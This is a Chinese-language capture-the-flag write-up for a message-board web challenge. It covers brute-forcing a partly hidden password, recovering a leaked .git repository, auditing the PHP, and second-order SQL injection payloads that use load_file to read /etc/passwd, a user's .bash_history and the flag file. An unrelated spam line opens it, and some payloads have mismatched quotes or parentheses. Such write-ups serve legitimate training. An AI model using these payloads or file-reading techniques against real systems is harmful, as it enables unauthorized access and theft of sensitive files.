广西建设厅官方网站文件通知北京十大最靠谱it培训机构
进入题目页面如下
看到有留言板
点击发帖,随便输入内容,提交
跳转到login.php,页面如下
看到用户名已经给出是zhangwei,密码是zhangwei***,隐藏了三位
用burp suite爆破看看能不能爆破出隐藏的三位
先进行抓包
右键发送到Intruder模块
在隐藏的三个数处添加payload,并按下图设置,并开始攻击
看到长度不同的payload
看到是666
zhangwei
zhangwei666
登录成功
尝试了SQL注入、xss漏洞都无果
用dirsearch扫描根目录试试
dirsearch -u http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/ -e*
看到多个.git路径,猜测是源码泄露
用GitHack下载源码
我是在kali中下载的GitHack
先进入root用户
sudo su
下载克隆Git Hack库
git clone https://github.com/BugScanTeam/GitHack
使用GitHack时,要先cd一下,在Git Hack目录下进行
cd GitHack
GitHack要用python2
python2 GitHack.py http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/.git/
显示这个则成功
打开GitHack文件下的dist
看到write_do.php文件
打开看到源码
但是并没有发现可以利用的漏洞
发现还需要
git源码的恢复
命令如下
git log --reflog
复制上面commit的第一个内容
git reset --hard d452e57b5a4a95644a0f7f7cfa2a74d69de6e7f8
再次打开,得到完整代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>
开始审计
<?php
// 包含名为 mysql.php 的文件,该文件可能包含了数据库连接相关的代码
include "mysql.php";// 启动会话,用于存储和获取用户的会话信息
session_start();// 检查会话中的 'login' 变量是否不等于 'yes',如果不等于则表示用户未登录
if($_SESSION['login'] != 'yes'){// 若未登录,使用 header 函数将用户重定向到登录页面 login.phpheader("Location: ./login.php");// 终止当前脚本的执行,防止后续代码继续运行die();
}// 检查是否通过 GET 请求传递了 'do' 参数
if(isset($_GET['do'])){// 根据 'do' 参数的值进行不同的操作switch ($_GET['do']){// 当 'do' 参数的值为 'write' 时case 'write':// 获取 POST 请求中的 'category' 参数,并使用 addslashes 函数对其进行转义,防止 SQL 注入$category = addslashes($_POST['category']);// 获取 POST 请求中的 'title' 参数,并使用 addslashes 函数对其进行转义$title = addslashes($_POST['title']);// 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义$content = addslashes($_POST['content']);// 构建插入数据到 'board' 表的 SQL 语句$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";// 执行 SQL 语句$result = mysql_query($sql);// 将用户重定向到 index.php 页面header("Location: ./index.php");// 跳出 switch 语句break;// 当 'do' 参数的值为 'comment' 时case 'comment':// 获取 POST 请求中的 'bo_id' 参数,并使用 addslashes 函数对其进行转义$bo_id = addslashes($_POST['bo_id']);// 构建查询 'board' 表中指定 'id' 的 'category' 的 SQL 语句$sql = "select category from board where id='$bo_id'";// 执行 SQL 语句$result = mysql_query($sql);// 获取查询结果的行数$num = mysql_num_rows($result);// 如果查询结果的行数大于 0,说明存在符合条件的记录if($num>0){// 获取查询结果中的 'category' 字段值$category = mysql_fetch_array($result)['category'];// 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义$content = addslashes($_POST['content']);// 构建插入数据到 'comment' 表的 SQL 语句$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";// 执行 SQL 语句$result = mysql_query($sql);}// 将用户重定向到 comment.php 页面,并传递 'id' 参数header("Location: ./comment.php?id=$bo_id");// 跳出 switch 语句break;// 当 'do' 参数的值为其他值时default:// 将用户重定向到 index.php 页面header("Location: ./index.php");}
}
// 如果没有通过 GET 请求传递 'do' 参数
else{// 将用户重定向到 index.php 页面header("Location: ./index.php");
}
?>
存在SQL注入
代码使用了 addslashes
函数对用户输入进行转义
addslashes
只是简单地对单引号、双引号、反斜杠等字符进行转义,在某些特定的字符集(如 GBK)下,可以利用宽字节注入绕过这种防护
SQL注入
注入点值为comment
爆出数据库名
1',content=database(),/*
点击提交,点击详情
提交留言填写*/#用于闭合语句
爆出了数据库名,回显ctf
payload
1',content=(select( load_file('/etc/passwd'))),/*
得到信息,用bash进行读取文件
用户为www,读取他的history文件
1’,content=(select (load_file(‘/home/www/.bash_history’))),/*
得到命令
1’,content=(select(hex(load_file(’/tmp/html/.DS_Store’)))),/*
读取.DS_Store文件
得到一串十六进制文本
在线十六进制转字符
flag文件是:flag_8946e1ff1ee3e40f.php
回到/var/www/html中读取flag
1’,content=select(hex(load_file(’/var/www/html/flag_8946e1ff1ee3e40f.php’)))),/*